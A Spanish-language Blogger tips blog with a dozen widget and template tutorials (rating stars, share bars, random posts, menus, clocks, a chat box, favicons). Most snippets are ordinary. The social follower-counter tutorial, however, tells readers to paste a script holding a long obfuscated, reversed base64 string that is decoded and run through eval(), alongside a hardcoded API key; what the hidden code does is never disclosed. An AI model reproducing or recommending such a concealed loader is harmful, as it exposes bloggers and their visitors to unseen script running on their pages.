Ocultar Suscribirse a: Entradas (Atom) de Blogger

Si quieres quitar el texto que aparece a lo ultimo de cada entrada Suscribirse a Entradas Atom solamente tienen que seguir estos pasos cortos y listo

1. Nos dirigimos a Diseño> Edición de HTML.
2. Pulsamos en el teclado Ctrl + F y buscamos el siguiente código: ]]></b:skin>
3. Y antes del código encontrado copiamos y pegamos el siguiente código:

.feed-links {
display: none;
visibility: hiden;
}

Seguir leyendo»

Como agregar Gadget de 5 estrellas en Blogger

Con este tutorial sera posible que sus lectores y visitantes de su blog. Puendan calificar sus entradas Con Este Gadget de Clasificacion de Estrella para su blog las estrellas pueden ser colocadas en la parte superior o inferior en cada entrada de su blog para que los visitantes pueden clasificar su articulo

Instalar el widget de 5 estrellas en blogger :

Plantilla - Editar HTML

Ahora solo buscar </head> , Después de encontrar la etiqueta Copiar el siguiente código y pegarlo justo encima o antes de el.

<link type="text/css" rel="stylesheet" href="http://static.graddit.com/css/graddit.css" />

Ahora tambien buscar el siguiente:  <data:post.body/> y pegar el codigo de abajo  por encima  o debajo 

<b:if cond='data:blog.pageType != &quot;static_page&quot;'><div expr:id='"labels_" + data:post.id' style='display: none; visibility: hidden;'><b:if cond='data:post.labels'><b:loop values='data:post.labels' var='label'><data:label.name/>,</b:loop></b:if></div>Rate this posting: <div expr:id='data:post.id' class='ffbs_rate'>{[[&#39;&lt;img src=&quot;http://static.graddit.com/img/star.png&quot;/&gt;&#39;]]}</div><div expr:id='&quot;ffbs_stats_&quot; + data:post.id' class='ffbs_stats'></div><script type='text/javascript' expr:src='&quot;http://www.graddit.com/rate/eng/5/&quot; + data:post.id + &quot;?id=&quot; + data:post.id + &quot;&amp;stats=ffbs_stats_&quot; + data:post.id + &quot;&amp;labels=labels_&quot; + data:post.id + &quot;&amp;info=info-&quot; + data:post.id + &quot;&amp;info_delay=2&amp;url=&quot; + data:post.url + &quot;&amp;class_star=ffbs_star_img&amp;class_star_set=ffbs_star_img_set&amp;class_star_vote=ffbs_star_img_vote&amp;views=yes&amp;votes=yes&amp;average=yes&quot;'></script></b:if>

Eso fue todo espero que les agrade

Seguir leyendo»

Hermoso Contador Gadget de Redes Sociales

Hola en esta ocacion les traigo Un Contador de Seguidores  Gadget de Redes Sociales seguidores de Facebook, Twitter y Google + 

 Este widget es muy fácil de instalar y servirá a tus seguidores a que te sigan en tus redes sociales y ver la cantidad de seguidores que tienes en las redes.

 Pasos para instalar el widget a su blog:

• Ir a Blogger > 
• Diseño 
• Elija Añadir un gadget o Añadir un elemento de página Seleccione HTML / JavaScript 
• Pegue el siguiente código en su interior

<br/><br/><div class="arqam-widget-counter arq-flat arq-col3">
 <ul>
 <li class="arq-facebook">
 <a href="URL DE TU PAGINA FACEBOOK" target="_blank">
 <i class="arqicon-facebook"></i>
 <span class="share__count"></span>
 <small>Seguidores</small>
 </a>
 </li>
 <li class="arq-twitter">
 <a href="URL DE TU TWITTER " target="_blank">
 <i class="arqicon-twitter"></i>
 <span class="tshare__count"></span>
 <small>Seguidores</small>
 </a>
 </li>
 <li class="arq-google">
 <a href="URL DE TU GOOGLE +" target="_blank">
 <i class="arqicon-gplus"></i>
 <span class="gshare__count"></span>
 <small>Seguidores</small>
 </a>
 </li>
 </ul>
</div>
<link href='https://googledrive.com/host/0B0LTexRNPYFjQTRiV290Umo4bm8/arqam.css' rel='stylesheet' type='text/css' />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
var f_page = 'Tu Nombre de usuario de facebook';
var t_page = 'Tu nombre de usuario de twitter';
var g_page = 'Tu nombre de usuario de google +';
var g_key = 'AIzaSyDV4Tsar8AblExfmdCt5E8mEPWuLtF_cP0';
var I1l='==wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kCMwkEKkxWaoNEZuVGcwFmLwAzTKsTXwsVKnQWYlh2JoUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZg0DIwAzTgIXY2pwOpwkUV5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0DbyVnJnsSKyVmcyVmZlJnL05WZtV3YvRGK05WZu9Gct92QJJVVlR2bj5WZrcSPmVmcmcyKns2b9MmczRXZn9zLt92YuUGdhN2c1ZmYvlXbukGch9yL6AHd0h2Jg0DIjJ3cuADMJpwOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9ACMwkEIyFmd7cSRzUCdwlmcjN3LDNTJCNTJ5ITJEdTJBBTJwITJwITJCNTJ5ITJEdTJBBTJCNTJ5ITJ05WdvN2XfVmchh2cnhjMlwWb0hmL5ITJ3ITJ05WdvN2XfVmchh2cn5yNyUCOyUCNyUSQwUiQzUCR1UyNyUCduV3bDVmbPNXdsB3NyUiQ1USY0FGZwITJENTJwITJ05WdvN2XfVmchh2cnFEMlI0NlAjMlkjMlEGdhRGOyUibvlGdj5WdmBjMlMkMlcjMlY0MlQ0Mls2YhJGbsF2Y2ITJ3ITJrkXZr91ZrcjMlQ0MlkXZrZ0MlcjMlsSZnFGcfd2K3ITJvUGbw9WZw9SM29yc1xGcv02bj5ycpBXYlx2Zv92Zuc3d39yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0MlkjMlQ0NlEEMlI0MlkjMlQnb192Yf9VZyFGazRHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGazRnL3ITJ4ITJ0ITJBBTJCNTJEVTJ3ITJ05WdvN2XzJXZ39Gbs9mZ3ITJCVTJhRXYkBjMlQ0MlAjMlQnb192Yf9VZyFGazRXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZjMlcjMlsSZnFGcfR3K3ITJENTJl1WYu9lblVmcjNnRzUibvNnauc3boN3LzJXZzV3Lx8SbvNmLyVGd0l2d05SawFmLuR2Yv8SQzUCc0RHa3ITJ4ITJO90UKRXZn5CNyUSQwUiQzUSOyUCR3USQwUiQzUSOyUCduV3bj91XlJXYoNHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGaz5yNyUCOyUCNyUSQwUiQzUCR1UyNyUycltWasdjMlIUNlEGdhRGMyUCRzUCMyUCduV3bj91XlJXYoNHMyUichZXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZ0MlcjMlsSZnFGcfZ2K3ITJv02bj5yav9mYlNWYm5CawFmcn9yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0NlkjMlgjMl42bpR3YuVnZ4ITJ5RWYlJnL5ITJ05WZtV3YvRGOyUCNyUSRzUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd';var _0x84de=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _0Ol(data){var OOIlOI=_0x84de[0];var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc=_0x84de[1];do{h1=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h2=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h3=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h4=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String[_0x84de[4]](o1);} else {if(h4==64){enc+=String[_0x84de[4]](o1,o2);} else {enc+=String[_0x84de[4]](o1,o2,o3);} ;} ;} while(i<data[_0x84de[5]]);;return enc;} ;function OOI(string){var ret=_0x84de[1],i=0;for(i=string[_0x84de[5]]-1;i>=0;i--){ret+=string[_0x84de[2]](i);} ;return ret;} ;eval(_0Ol(OOI(I1l)));
</script>

Asegúrate de cambiar todo lo que esta en Color Rojo por tus datos eso fue todo espero que les guste

Seguir leyendo»

Barra flotante con botones de Facebook, Twitter y Google+ en Blogger

Hoy les traigo un tutorial para colocar barra flotante o deslizante con los botones de compartir de las redes sociales y también la opción cerrar empecemos el tutorial:

Características del la barra:

*Botones Facebook, twitter, google+.
*Esta flotando a la derecha zona media.
*Su posición es modificable.

Primero vamos a Plantilla > Editar HTML > y luego buscamos la etiqueta

</body>

Debajo de ella colocamos el siguiente codigo :

 <div id='fb-root'/>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/es_LA/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>

 Ahora vamos a Diseño>Añadir Gadget... y agregamos un gadget HTML/Javascript y en el pegamos este código:

<style type="text/css">
#menudesli {
background-color: #00FFFF; /* Color de fondo */
width: 75px;
padding-top:5px;
padding-bottom:25px;
text-align: center;
/* POSICION FLOTANTE */
position:fixed !important;
right:5%;  /* Esto decide Izquierda o derecha 5% */
top:200px;  /* Distancia de arriba para abajo */
z-index:10 !important
/* POSICION FLOTANTE */
/* REDONDEADO */
-moz-border-radius: 15px 15px 15px 15px;
-webkit-border-radius: 15px 15px 15px 15px;
border-radius: 15px 15px 15px 15px;
/* REDONDEADO */
  border:-color: #000000; /* Color de borde */
  border-width: 2px;
  border-style: solid;
}
</style>
<div id="light" class="white_content">
<div class="menudesli" id="menudesli">

<a href = "javascript:void(0)" onclick = "document.getElementById('light').style.display='none';document.getElementById('fade').style.display='none'"><img src="http://3.bp.blogspot.com/-_0qFToAh1VM/UVtBehic5GI/AAAAAAAAHBE/y8k-BUg54PE/s1600/cerr.png" border="0"/></a>
<div class="fb-like" data-send="false" data-layout="box_count" data-width="75" data-show-faces="false" data-font="arial"></div>
<a href="https://twitter.com/share" class="twitter-share-button" data-lang="es" data-count="vertical">Tweet</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="https://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
<div class="g-plusone" data-size="tall">
</div>

 y Listo ya lo tenemos listo nuestra barra para blogger es muy fácil editar el código para los colore si quieren cambiar la Imagen en el código verán el link VERDE esa es la imagen lo que esta en ROJO son botones aleatorios de twitter y facebok los pueden cambiar por el codigo de sus fan pages o respectivos twitters espero que les haya gustado el tutorial.

Seguir leyendo»

Cambiar Cursos en blogger

Hola amigos de Trucos gadgets blogger Hoy les traigo un truco de como cambiar el cursor de mi blog blogger de de una manera facil y sencilla y rápida.

Primero vamos a esta pagina que ofrece este servicio de: Gif Animados elijan el que mas les guste, yo elijo este :

<style>body{cursor:url(http://www.cristoferdelatorre.com/gifs/cursores/umbreon.ani), url(http://www.cristoferdelatorre.com/gifs/cursores/umbreon.gif), auto;}</style><span style="font:tahoma; font-size:9px;"><a href="http://www.gifanimados.org/">Gifs animados</a></span><br />

Ahora vamos a nuestra plantilla y pegamos el codigo de arriba justo antes de la etiqueta  </body> y tendra nuevo cursos

Seguir leyendo»

Alinear imagenes videos elementos y gadgets del blog

En esta ocacion les dejo un tutorial de como alinear los elementos o gadgers del blog, ya sea centrarlos o alinearlos a un lado especifico

Sirve para alinear los siguientes elementos imágenes  vídeos contenedores etc les dejo los códigos para alinear :

Centrar

<div align="center">
Aquí va lo que se quiere centrar
</div>

A la izquierda

<div align="left">
Aquí va lo que se quiere a la izquierda
</div>

A la derecha

<div align="right">
Aquí va lo que se quiere a la derecha
</div>

Solo tienes que agregar donde se indica poner el código del elemento que quieres alinear  ya sea algo que este dentro de una entrada o un gadget

Seguir leyendo»

Como Agregar un gadget de posts al azar con imagen en miniatura

¿Buscas un gadget que muestre post aleatorios en tu blog?
¿Y que ademas muestre una imagen en miniatura?

Buscar como poner gadget de post al azar con imagen en miniatura a tu blog blogger bueno este es el tutorial que buscas muy sencillo y facil de instalar

para instalar el gadget vamos a :

Escritorio de Blogger > Diseño > Añadir un Gadget > HTML/JavaScript

Y pegamos el siguiente codigo en un HTML/JavaScript

<style type="text/css">
 #random-posts img{float:left;margin-right:10px;border:1px solid #999;background:#FFF;width:70px;height:70px;padding:3px}
</style>
<ul id='random-posts'>
    <script type='text/javaScript'>
    var rdp_numposts=5;
    var rdp_snippet_length=150;
    var rdp_info='yes';
    var rdp_comment='Comentarios';
    var rdp_disable='Comments Disabled';
    var rdp_current=[];var rdp_total_posts=0;var rdp_current=new Array(rdp_numposts);function totalposts(json){rdp_total_posts=json.feed.openSearch$totalResults.$t}document.write('<script type=\"text/javascript\" src=\"/feeds/posts/default?alt=json-in-script&max-results=0&callback=totalposts\"><\/script>');function getvalue(){for(var i=0;i<rdp_numposts;i++){var found=false;var rndValue=get_random();for(var j=0;j<rdp_current.length;j++){if(rdp_current[j]==rndValue){found=true;break}};if(found){i--}else{rdp_current[i]=rndValue}}};function get_random(){var ranNum=1+Math.round(Math.random()*(rdp_total_posts-1));return ranNum};
    </script>
    <script type='text/javaScript'>
    function random_posts(json){for(var i=0;i<rdp_numposts;i++){var entry=json.feed.entry[i];var rdp_posttitle=entry.title.$t;if('content'in entry){var rdp_get_snippet=entry.content.$t}else{if('summary'in entry){var rdp_get_snippet=entry.summary.$t}else{var rdp_get_snippet="";}};rdp_get_snippet=rdp_get_snippet.replace(/<[^>]*>/g,"");if(rdp_get_snippet.length<rdp_snippet_length){var rdp_snippet=rdp_get_snippet}else{rdp_get_snippet=rdp_get_snippet.substring(0,rdp_snippet_length);var space=rdp_get_snippet.lastIndexOf(" ");rdp_snippet=rdp_get_snippet.substring(0,space)+"&#133;";};for(var j=0;j<entry.link.length;j++){if('thr$total'in entry){var rdp_commentsNum=entry.thr$total.$t+' '+rdp_comment}else{rdp_commentsNum=rdp_disable};if(entry.link[j].rel=='alternate'){var rdp_posturl=entry.link[j].href;var rdp_postdate=entry.published.$t;if('media$thumbnail'in entry){var rdp_thumb=entry.media$thumbnail.url}else{rdp_thumb="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaYigkKmFo4EWXlolzibzfAr-Lz5UwVbTzP1urbAADaDzVvGoQr9I7x6UBYhLfY-Pz35XzsZbaU7DRl7d8ncwGKyJVrVe_PPcJR4FAVWjcdWiuKUJrtSDubkIKPoNEreqTzO5oFWDwpfw/s1600/default.jpg"}}};document.write('<li>');document.write('<img alt="'+rdp_posttitle+'" src="'+rdp_thumb+'"/>');document.write('<div><a href="'+rdp_posturl+'" rel="nofollow" title="'+rdp_snippet+'">'+rdp_posttitle+'</a></div>');if(rdp_info=='yes'){document.write('<span>'+rdp_postdate.substring(8,10)+'/'+rdp_postdate.substring(5,7)+'/'+rdp_postdate.substring(0,4)+' - '+rdp_commentsNum)+'</span>'}document.write('<div style="clear:both"></div></li>')}};getvalue();for(var i=0;i<rdp_numposts;i++){document.write('<script type=\"text/javascript\" src=\"/feeds/posts/default?alt=json-in-script&start-index='+rdp_current[i]+'&max-results=1&callback=random_posts\"><\/script>')};
    </script>
    </ul>

El numero 5 en color rojo es la cantidad que post a mostrar en tu blog si quieres puedes modificarlo espero que les guste 

Blog de prueba : DEMO

Seguir leyendo»

Como Poder Indexar una indexar una entrada en minutos

Buenas hoy les vengo a postear un truco muy bueno y sencillo para poder indexar sus entradas blogger en minutos,tutorial les sera muy ideal para esos blogger nuevos que se inician en este mundo de los blogs

Indexar post en minutos

Unos de los requisitos para poder usar este tutorial es estar registrado en " Herramientas para webmasters de Google", si no lo estas solo necesitas una cuenta gmail con la que administras tus blogs. y loguearte

ya que estes registrado seguimos con el tutorial

Paso 1.Entras al panal de tu blog en wbmaster Tools y a su izquierda entras en rastreo - Explorar Como Google

Paso 2.-En ese panel central vas aver lo siguiente , dirección de tu blog con un espacio y 2 botones obtener y procesar.

Colocar en esa caja la URL de tu entrada que quieres indexar , pero con el año/mes/titulo, un ejemplo la imagen de abajo


Paso 3.- Haz clic en el botón 'Obtener' y para procesarse como se ve en la siguiente captura

Nuevamente dale clic donde dice "Enviar al índice" y en el método de envío elige "Rastrear solo esta URL"

Un clic en el botón Ir y eso es todo. El estado cambiará ahora a "URL enviada al índice".

Eso fue todo muy facil espero que les guste y comenten

Seguir leyendo»

Agregar Menu vertical multicolor en blogger

Hola buenas en esta ocacion les traigo un tutorial de como agregar un menú vertical multicolores para blogger bonito simple y fácil de instalar sin mas nada que decir proceso a como instalar

         Ejemplo del Menu Vertical

1. Primero Vamos a Blogger - Plantilla - Edición HTML
2. Buscamos el siguiente código

Codigo

]]></b:skin>

3. Al encontrarlo justo por encima colocamos el siguiente código:

 .menuvertical-tblogger div {
  background: #111;
  width: 6.6em;
  margin: 1em auto;
  -webkit-border-radius: .5em;
  -moz-border-radius: .5em;
  border-radius: .5em;
  color: #fff;
  text-align: center;
  padding: .4em;
  font: bold 1.8em 'Open Sans', sans-serif;
  -webkit-box-shadow: 0 1px 3px 7px #aaa;
  -moz-box-shadow: 0 1px 3px 7px #aaa;
  box-shadow: 0 1px 3px 7px #aaa;
  -webkit-transition: .35s ease-in-out;
  -moz-transition: .35s ease-in-out;
  -ms-transition: .35s ease-in-out;
  -o-transition: .35s ease-in-out;
  transition: .35s ease-in-out;
  /*cursor pointer should be nice.*/
  cursor: pointer;
}
/*It's time for hover state of all div(s) :p*/
.menuvertical-tblogger div:nth-child(n):hover {
  -webkit-border-radius: .7em;
  -moz-border-radius: .7em;
  border-radius: .7em;
  -webkit-box-shadow: 0 1px 3px 5px #0f5;
  -moz-box-shadow: 0 1px 3px 5px #0f5;
  box-shadow: 0 1px 3px 5px #0f5;
  color: #0f5;
}
.menuvertical-tblogger div:nth-child(2):hover
{
   box-shadow: 0 1px 3px 5px #f33;
  -moz-box-shadow: 0 1px 3px 5px #f33;
  -webkit-box-shadow: 0 1px 3px 5px #f33;
  color: #f33;
}
.menuvertical-tblogger div:nth-child(3):hover
{
   box-shadow: 0 1px 3px 5px violet;
  -moz-box-shadow: 0 1px 3px 5px violet;
  -webkit-box-shadow: 0 1px 3px 5px violet;
  color: violet;
}
.demo div:nth-child(4):hover
{
   box-shadow: 0 1px 3px 5px skyblue;
  -moz-box-shadow: 0 1px 3px 5px skyblue;
  -webkit-box-shadow: 0 1px 3px 5px skyblue;
  color: skyblue;
}
.menuvertical-tblogger div:nth-child(5):hover
{
   box-shadow: 0 1px 3px 5px orange;
  -moz-box-shadow: 0 1px 3px 5px orange;
  -webkit-box-shadow: 0 1px 3px 5px orange;
  color: orange;
}

4. Vamos agregar nuestro menú en un gadget
5. Entramos en Blogger - Diseño - Añadir un Gadget - HTML Javascript
6. Pegamos en el Gadget el siguiente codigo y guardas

<div class="menuvertical-tblogger">
<div>
<a href="http://url/">Inicio</a></div>
<div>
<a href="http://aqui ponemos nuestro enlace/">La casa del vector</a></div>
<div>
<a href="http://aqui ponemos nuestro enlace/">Cuentos en la red</a></div>
<div>
<a href="http://aqui ponemos nuestro enlace/">Dinero con tu red</a></div>
<div>
<a href="http://aqui ponemos nuestro enlace/">Hotel 400</a></div>
</div>

 Listo ya tienes tu menu vertical

Seguir leyendo»

Luces navideñas en mi blog

Hola les traigo un truco para colocar luces navideñas en mi blog , el truco consiste en foquitos navideños que se ubicarán en la parte de arriba de nuestra web y que cambian automáticamente. Se encienden y apagan.

Para instalar solo tienes que ir a Diseño - Añadir un gadget - HTML / JavaScript y Listo 

<SCRIPT language=javascript type=text/javascript>
//<![CDATA[
var Ovr2='';
if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat')
  {cot_t1_DOCtp="_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft  + document.documentElement.clientWidth - offsetWidth);}";}
else
  {cot_t1_DOCtp="_top:expression(document.body.scrollTop+document.body.clientHeight-this.clientHeight);_left:expression(document.body.scrollLeft  + document.body.clientWidth - offsetWidth);}";}
if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat')
  {cot_t1_DOCtp2="_top:expression(document.documentElement.scrollTop-20+document.documentElement.clientHeight-this.clientHeight);}";}
else
  {cot_t1_DOCtp2="_top:expression(document.body.scrollTop-20+document.body.clientHeight-this.clientHeight);}";}
var cot_tl_bodyCSS='* html {background: fixed;background-repeat: repeat;background-position: left top;}';
var cot_tl_fixedCSS='#cot_tl_fixed{position:fixed;';
var cot_tl_fixedCSS=cot_tl_fixedCSS+'_position:absolute;';
var cot_tl_fixedCSS=cot_tl_fixedCSS+'top:0px;';
var cot_tl_fixedCSS=cot_tl_fixedCSS+'left:0px;';
var cot_tl_fixedCSS=cot_tl_fixedCSS+'clip:rect(0 100 85 0);';
var cot_tl_fixedCSS=cot_tl_fixedCSS+cot_t1_DOCtp;
var cot_tl_popCSS='#cot_tl_pop {background-color: transparent;';
var cot_tl_popCSS=cot_tl_popCSS+'position:fixed;';
var cot_tl_popCSS=cot_tl_popCSS+'_position:absolute;';
var cot_tl_popCSS=cot_tl_popCSS+'height:98px;';
var cot_tl_popCSS=cot_tl_popCSS+'width: 1920px;';
var cot_tl_popCSS=cot_tl_popCSS+'right: 120px;';
var cot_tl_popCSS=cot_tl_popCSS+'top: 20px;';
var cot_tl_popCSS=cot_tl_popCSS+'overflow: hidden;';
var cot_tl_popCSS=cot_tl_popCSS+'visibility: hidden;';
var cot_tl_popCSS=cot_tl_popCSS+'z-index: 99999;';
var cot_tl_popCSS=cot_tl_popCSS+cot_t1_DOCtp2;
document.write('<style type="text/css">'+cot_tl_bodyCSS+cot_tl_fixedCSS+cot_tl_popCSS+'</style>');

function COT(cot_tl_theLogo,cot_tl_LogoType,LogoPosition,theAffiliate)
{document.write('<div id="cot_tl_fixed">');
document.write('<><img src='+cot_tl_theLogo+' alt="" border="0"></a>');
document.write('</div>');}
//if(window.location.protocol == "http:")
COT("http://www.honeybearplayhomes.com/resources/flashing%20christmas%20lights.gif", "SC2", "none");
//]]>
</SCRIPT>

Listo Espero que les guste

Seguir leyendo»

Colocar Una Camara de Vigilancia en mi Blog

Buscando por la red me encontré con este gadget de cámara de vigilancia para blog blogger que se coloca en la parte superior del blog, sencillo y fácil de instalar en nuestro blog

Para Poder Esta cámara de vigilancia para blogger para agregarla a su blog , Solo vamos a Diseño, Elemento de pagina , Añadir gadget HTML Javascript y pegas el siguiente código

 <br /> <div style="text-align: center;"><a href="http://trucosgadgetsblogger.blogspot.com/2014/10/colocar-una-camara-de-vigilancia-en-mi.html" _fcksavedurl="" style="right: 0px; position: fixed; top: 0px;"><img src="http://1.bp.blogspot.com/-MVAyxEb1Gk0/ThtUzuB5AkI/AAAAAAAADU4/RcEFHCFFvXA/s1600/camaras01pe3.gif" _fcksavedurl="http://1.bp.blogspot.com/-MVAyxEb1Gk0/ThtUzuB5AkI/AAAAAAAADU4/RcEFHCFFvXA/s1600/camaras01pe3.gif" alt="" /></a></div>

Seguir leyendo»

Instalar Relog Flash Animados para tu Blog de Blogger

Les dejo unos exelentes reloges flash animados para su blog blogger diseños elegantes y sincillos para su blog y facil de instalar sin mas nada que decir les dejo las instruciones para oder instalar el relog en su blog

1.Entra a tu blogger ve a Diseno --> Elementos de Pagina.

2.Da Click en 'Anadir un Gadget' en la barra lateral.

3.Selecciona 'HTML/Javascript' y añade codigo de abajo :


1. Reloj Digita

<object><param name="movie" value="http://flash-clocks.com/free-flash-clocks-for-websites/free-flash-clock-33.swf"><embed src="http://flash-clocks.com/free-flash-clocks-for-websites/free-flash-clock-33.swf" width="150" height"150" wmode="transparent"> </embed></object>

2. Reloj de border Black 

<object><param name="movie" value="http://flash-clocks.com/free-flash-clocks-for-websites/free-flash-clock-24.swf"><embed src="http://flash-clocks.com/free-flash-clocks-for-websites/free-flash-clock-24.swf" width="150" height="150" wmode="transparent"> </embed></object>

 3.Reloj Simple

<object><param name="movie" value="http://flash-clocks.com/free-flash-clocks-for-websites/free-flash-clock-23.swf"> <embed src="http://flash-clocks.com/free-flash-clocks-for-websites/free-flash-clock-23.swf" width="150" height="150" wmode="transparent"> </embed></object>

4. Reloj Blanco

<embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-175.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash></embed>

 6.Reloj Negro

<embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-179.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash></embed>

 7. Reloj 3D 

<embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-169.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash></embed>

8. Rejoj Hogar

<embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-150.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash></embed>

 9. Rejoj Negro

<embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-165.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash></embed>

 4. Ahora guarde  'Hmtl/JavaScript' Listo.

Seguir leyendo»

Colocar Caja Flotante lateral para chat

En esta ocacion les dejo un tutorial de como colocar un a caja flotante de chat para su web blog Aki les dejo un tutorial de como colocar una caja flotante latetal para un chat en blogger espero que les guste y comenten

Primero para instalar vamos Plantilla - Editar HTML  copiamos el codigo de abajo y buscamos </head> y pegamos antes del head

<script type="text/javascript" src="http://disemuchonet.blogcindario.com/ficheros/jquery-1-4-2-min.js">
</script>
<script type="text/javascript">
//<![CDATA[
var j = jQuery.noConflict();
j(function (){
j(".esthela").hover(function(){
j(".esthela").stop(true, false).animate({right:"0"},"medium");
},function(){
j(".esthela").stop(true, false).animate({right:"-400"},"medium");
},500);
return false;
});
//]]>
</script>
<style type="text/css">
/*<![CDATA[*/
.esthela {
float:right;
width:450px;
height:350px;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxh6jyK-qXvhUp2BGv6eaosX3eoF-yaq1K77xMGQ3-gykaN0rU7NjbUMZ7ULx_iYIxqnn70sxWICAGR4nhPgSDmGtIVtEgrfcVLM6tANxYTCOEcT0v-rg0FVmJX2FY-XukxnsDNj9KwT4/s1600/image%5B1%5D.png) no-repeat !important;
display:block;
right: -400px;
padding:0;
position:fixed;
top: 56px;
z-index:1002;
}
/*]]>*/
</style>

Segundo ir a diseño y crear un gadget HTML/Javascript y pegar el codigo de abajo y listo

<div class="esthela" style="right: -400px;">
    <div style="color: rgb(255, 255, 255); padding: 8px 5px 0pt 50px;">
        <div class="http://trucosgadgetsblogger.blogspot.com/">
            aqui tu chat o lo que desees
        </div>
    </div>
</div>

Seguir leyendo»

Como colocar otro favicon en blogger

Hola en hoy les dire como cambiar el favicon de blogger 

Que es un favicon?

El favicon es una pequeña imagen que aparece en la parte superior de nuestro navegador cuando accedemos a una pagina web , por ejemplo google:

Como cambiar el favicon de blogger primero ir nos a Diseño de nuestro blog 

 le damos click donde dice Favicon 

Nos mostrara una ventana igual a esta :

Le damos 1 click en  "Seleccionar archivo",seleccionamos la imagen que queremos como Favicon y listo!

OJO 

 El tamaño limite de la imagen es de 100 kb, para eso podemos lo que haremos será ir a esta pagina para modificar  nuestro favicon online y adaptarlo a tamaño limite

Lo primero que debemos hacer es subir la imagen que utilizaremos, ya sea por URL o desde nuesta PC

despues elegiremos el tamaño y podremos previsualizar nuestro favicon

Recomiendo elegir el tamaño 32x32 

Además en la parte de arriba tendremos una herramienta para elegir que parte de nuestra imagen queremos mostrar, basta con dar click y mover nuestro mouse.

Ahora ya solo falta elegir el formato de nuestro favicon que aparecesa en nuestro blog,recomiendo descargar la versión PNG y subirla.

Nota: El favicon puede tardar en aparecer,pueden tratar borrando la caché de su navegador.

Seguir leyendo»

Añadir informacion cuando cuando te copian un contenido

Hola les traego un truco para cuando te hagan copy & pasta pueda salir la url de tu blog que es donde te copiaron la informacion es facil y rapido de instalar

Añadir informacion cuando le copien texto en tu blog

Un demo de como es el truco trata de copiar el texto de abajo y pegar en el cuadro

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas ut augue nibh. Aliquam erat volutpat. Nullam sodales nunc eu euismod convallis. Vivamus ornare placerat ipsum, luctus scelerisque libero vehicula nec. Fusce varius quis leo at facilisis. Quisque nec dolor dui. In sed odio non augue lacinia congue. Curabitur et turpis ante. Integer eu turpis a odio accumsan dignissim. Sed id ornare metus. Sed consequat felis non mi molestie, sit amet.

Para instalarlo en tu blog sólo entra en Plantilla | Edición de HTML y antes de </body> agrega lo siguiente:

<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>

<script>
//<![CDATA[
// Añadir información extra al hacer copy & paste
$("body").bind('copy', function (e) {
if (typeof window.getSelection == "undefined") return;
var miblog = document.getElementsByTagName('body')[0];
var seleccionar = window.getSelection();
if (("" + seleccionar).length < 10) return;
var nuevodiv = document.createElement('div');
nuevodiv.style.position = 'absolute';
nuevodiv.style.left = '-99999px';
miblog.appendChild(nuevodiv);
nuevodiv.appendChild(seleccionar.getRangeAt(0).cloneContents());
if (seleccionar.getRangeAt(0).commonAncestorContainer.nodeName == "PRE") {
nuevodiv.innerHTML = "<pre>" + nuevodiv.innerHTML + "</pre>";
}
nuevodiv.innerHTML += "<br/><br/>Artículo original: <a href='"
+ document.location.href + "'>"
+ document.location.href + "</a><br/>&copy; Nombre de mi blog";
seleccionar.selectAllChildren(nuevodiv);
window.setTimeout(function () { miblog.removeChild(nuevodiv); }, 200);
});
//]]>
</script>

